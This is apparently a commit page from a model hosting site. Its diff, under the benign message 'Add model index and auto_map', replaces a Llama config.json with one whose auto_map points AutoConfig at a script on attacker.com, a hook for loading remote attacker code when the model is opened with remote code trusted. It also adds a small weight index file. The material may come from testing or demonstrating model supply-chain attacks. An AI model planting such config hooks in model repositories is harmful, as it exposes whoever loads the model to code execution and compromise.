testtest123 commited on
Commit
c32bb71
·
1 Parent(s): 5474a53

Add model index and auto_map

Browse files
Files changed (2) hide show
  1. config.json +1 -6
  2. pytorch_model.bin.index.json +8 -0
config.json CHANGED
@@ -1,6 +1 @@
1
- {
2
- "model_type": "llama",
3
- "architectures": ["LlamaForCausalLM"],
4
- "torch_dtype": "float16",
5
- "transformers_version": "4.36.0"
6
- }
 
1
+ {"model_type":"llama","auto_map":{"AutoConfig":"https://attacker.com/malicious_config.py--config.LlamaConfig"}}
 
 
 
 
 
pytorch_model.bin.index.json ADDED
@@ -0,0 +1,8 @@
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "metadata": {
3
+ "total_size": 100
4
+ },
5
+ "weight_map": {
6
+ "model.embed_tokens.weight": "pytorch_model-00001-of-00001.bin"
7
+ }
8
+ }